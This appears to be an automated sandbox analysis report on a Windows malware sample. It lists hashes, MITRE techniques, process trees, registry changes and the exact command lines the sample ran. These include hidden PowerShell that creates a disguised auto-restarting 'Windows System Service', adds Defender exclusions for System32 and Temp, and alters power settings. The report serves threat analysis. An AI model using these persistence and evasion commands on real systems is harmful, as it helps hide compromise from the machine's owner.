af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403

Analysis

max time kernel
150s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
23-06-2024 10:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
Size

36.5MB
MD5

0e12bdd2a8200d4c1f368750e2c87bfe
SHA1

6c8b533e2c7f6ebef027971c3a06f4c55ed64cfe
SHA256

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403
SHA512

909f15876f3a6cbe608eb53df4286927b013c45ff6acbc496a1590b9cc3fe47b1bb449ed45c3302f6d03cccb876cd2cc26f2b5e7c1ca4ff2d17dd4dee77bf75b
SSDEEP

393216:sYJEy4Te0rrigZ9BCbZPBKAgKBXSTzdOskYXXDeycerzHP+THt+/nDSpQg:sYJcrlZ9BGfg8XIJOkXXPCTV

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
432	powershell.exe
4176	powershell.exe
1848	powershell.exe
1868	powershell.exe
1660	powershell.exe
4660	powershell.exe
3320	powershell.exe
4816	powershell.exe
3244	powershell.exe
1592	powershell.exe
4848	powershell.exe
764	powershell.exe
3092	powershell.exe
1660	powershell.exe
1592	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Executes dropped EXE 5 IoCs

Processes:

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exewinsvc.exewinsvc.exeWINCFG.EXEWINNET.EXE

pid process

4652 af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
3032 winsvc.exe
3888 winsvc.exe
3552 WINCFG.EXE
4600 WINNET.EXE
Power Settings 1 TTPs 5 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

3940 powercfg.exe
1008 powercfg.exe
4612 powercfg.exe
4732 powercfg.exe
3872 powercfg.exe

pid	process
4652	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
3032	winsvc.exe
3888	winsvc.exe
3552	WINCFG.EXE
4600	WINNET.EXE

pid	process
3940	powercfg.exe
1008	powercfg.exe
4612	powercfg.exe
4732	powercfg.exe
3872	powercfg.exe

Drops file in System32 directory 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeWINNET.EXEpowershell.exepowershell.exepowershell.exeaf77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exepowershell.exewinsvc.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\data\destinations\meksqojiqcqwf6jzuzb6ove5ygxmk3ciuwp235nlxevk6xocf7da.dat	WINNET.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\data\ssu2.keys	WINNET.EXE
File created	C:\Windows\system32\data\router.info	WINNET.EXE
File opened for modification	C:\Windows\system32\data\router.info	WINNET.EXE
File opened for modification	C:\Windows\System32\.coAFB8.tmp	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
File opened for modification	C:\Windows\system32\winsvc.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\wincfg.exe	winsvc.exe
File opened for modification	C:\Windows\system32\.coAFB8.tmp	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\winnet.exe	winsvc.exe
File created	C:\Windows\system32\data\router.keys	WINNET.EXE
File created	C:\Windows\system32\data\ntcp2.keys	WINNET.EXE

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

832 sc.exe
4252 sc.exe
3216 sc.exe
2180 sc.exe

pid	process
832	sc.exe
4252	sc.exe
3216	sc.exe
2180	sc.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
C:\Windows\System32\winnet.exe	embeds_openssl

Kills process with taskkill 12 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1312	taskkill.exe
2444	taskkill.exe
1780	taskkill.exe
2512	taskkill.exe
3536	taskkill.exe
5052	taskkill.exe
1560	taskkill.exe
4064	taskkill.exe
3904	taskkill.exe
2604	taskkill.exe
1948	taskkill.exe
4904	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewinsvc.exe

pid	process
4816	powershell.exe
4816	powershell.exe
764	powershell.exe
764	powershell.exe
1868	powershell.exe
1868	powershell.exe
3244	powershell.exe
3244	powershell.exe
1660	powershell.exe
1660	powershell.exe
1592	powershell.exe
1592	powershell.exe
432	powershell.exe
432	powershell.exe
3092	powershell.exe
3092	powershell.exe
4660	powershell.exe
4660	powershell.exe
4176	powershell.exe
4176	powershell.exe
1848	powershell.exe
1848	powershell.exe
3320	powershell.exe
3320	powershell.exe
4848	powershell.exe
4848	powershell.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe
3888	winsvc.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeShutdownPrivilege	3940	powercfg.exe
Token: SeCreatePagefilePrivilege	3940	powercfg.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeShutdownPrivilege	1008	powercfg.exe
Token: SeCreatePagefilePrivilege	1008	powercfg.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeShutdownPrivilege	4612	powercfg.exe
Token: SeCreatePagefilePrivilege	4612	powercfg.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeShutdownPrivilege	4732	powercfg.exe
Token: SeCreatePagefilePrivilege	4732	powercfg.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeShutdownPrivilege	3872	powercfg.exe
Token: SeCreatePagefilePrivilege	3872	powercfg.exe
Token: SeDebugPrivilege	5052	taskkill.exe
Token: SeDebugPrivilege	1312	taskkill.exe
Token: SeDebugPrivilege	1560	taskkill.exe
Token: SeDebugPrivilege	4064	taskkill.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe
Token: SeManageVolumePrivilege	3320	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: SeDebugPrivilege	2444	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	3904	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	2604	taskkill.exe
Token: SeDebugPrivilege	3536	taskkill.exe
Token: SeDebugPrivilege	4904	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exeaf77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exewinsvc.exepowershell.exepowershell.exepowershell.exepowershell.exewinsvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1716 wrote to memory of 4652	1716	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
PID 1716 wrote to memory of 4652	1716	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
PID 4652 wrote to memory of 3032	4652	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	winsvc.exe
PID 4652 wrote to memory of 3032	4652	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	winsvc.exe
PID 3032 wrote to memory of 4816	3032	winsvc.exe	powershell.exe
PID 3032 wrote to memory of 4816	3032	winsvc.exe	powershell.exe
PID 4816 wrote to memory of 832	4816	powershell.exe	sc.exe
PID 4816 wrote to memory of 832	4816	powershell.exe	sc.exe
PID 3032 wrote to memory of 764	3032	winsvc.exe	powershell.exe
PID 3032 wrote to memory of 764	3032	winsvc.exe	powershell.exe
PID 764 wrote to memory of 4252	764	powershell.exe	sc.exe
PID 764 wrote to memory of 4252	764	powershell.exe	sc.exe
PID 3032 wrote to memory of 1868	3032	winsvc.exe	powershell.exe
PID 3032 wrote to memory of 1868	3032	winsvc.exe	powershell.exe
PID 1868 wrote to memory of 3216	1868	powershell.exe	sc.exe
PID 1868 wrote to memory of 3216	1868	powershell.exe	sc.exe
PID 3032 wrote to memory of 3244	3032	winsvc.exe	powershell.exe
PID 3032 wrote to memory of 3244	3032	winsvc.exe	powershell.exe
PID 3244 wrote to memory of 2180	3244	powershell.exe	sc.exe
PID 3244 wrote to memory of 2180	3244	powershell.exe	sc.exe
PID 3888 wrote to memory of 1660	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 1660	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 1592	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 1592	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 432	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 432	3888	winsvc.exe	powershell.exe
PID 432 wrote to memory of 3940	432	powershell.exe	powercfg.exe
PID 432 wrote to memory of 3940	432	powershell.exe	powercfg.exe
PID 3888 wrote to memory of 3092	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 3092	3888	winsvc.exe	powershell.exe
PID 3092 wrote to memory of 1008	3092	powershell.exe	powercfg.exe
PID 3092 wrote to memory of 1008	3092	powershell.exe	powercfg.exe
PID 3888 wrote to memory of 4660	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 4660	3888	winsvc.exe	powershell.exe
PID 4660 wrote to memory of 4612	4660	powershell.exe	powercfg.exe
PID 4660 wrote to memory of 4612	4660	powershell.exe	powercfg.exe
PID 3888 wrote to memory of 4176	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 4176	3888	winsvc.exe	powershell.exe
PID 4176 wrote to memory of 4732	4176	powershell.exe	powercfg.exe
PID 4176 wrote to memory of 4732	4176	powershell.exe	powercfg.exe
PID 3888 wrote to memory of 1848	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 1848	3888	winsvc.exe	powershell.exe
PID 1848 wrote to memory of 3872	1848	powershell.exe	powercfg.exe
PID 1848 wrote to memory of 3872	1848	powershell.exe	powercfg.exe
PID 3888 wrote to memory of 5052	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 5052	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1312	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1312	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1560	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1560	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 4064	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 4064	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 3320	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 3320	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 4848	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 4848	3888	winsvc.exe	powershell.exe
PID 3888 wrote to memory of 2444	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 2444	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1780	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 1780	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 2512	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 2512	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 3904	3888	winsvc.exe	taskkill.exe
PID 3888 wrote to memory of 3904	3888	winsvc.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
"C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716

C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-3c749898b82cad66\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
"C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-3c749898b82cad66\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4652

C:\Windows\system32\winsvc.exe
"C:\Windows\system32\winsvc.exe" "C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-3c749898b82cad66\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "create" "winsvc" "type=own" "start=auto" "error=ignore" "binPath=\"C:\Windows\system32\winsvc.exe\"" "DisplayName=\"Windows System Service\""
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4816

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" create winsvc type=own start=auto error=ignore binPath=C:\Windows\system32\winsvc.exe "DisplayName=Windows System Service"
5⤵
- Launches sc.exe
PID:832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "failure" "winsvc" "reset=0" "actions=restart/0/restart/0/restart/0"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" failure winsvc reset=0 actions=restart/0/restart/0/restart/0
5⤵
- Launches sc.exe
PID:4252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "description" "winsvc" "\"Windows System Service is the main system supervision service.\""
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" description winsvc "Windows System Service is the main system supervision service."
5⤵
- Launches sc.exe
PID:3216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "start" "winsvc"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3244

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" start winsvc
5⤵
- Launches sc.exe
PID:2180

C:\Windows\system32\winsvc.exe
C:\Windows\system32\winsvc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\system32\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\Temp\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-SETACTIVE" "8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:432

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -SETACTIVE 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3940

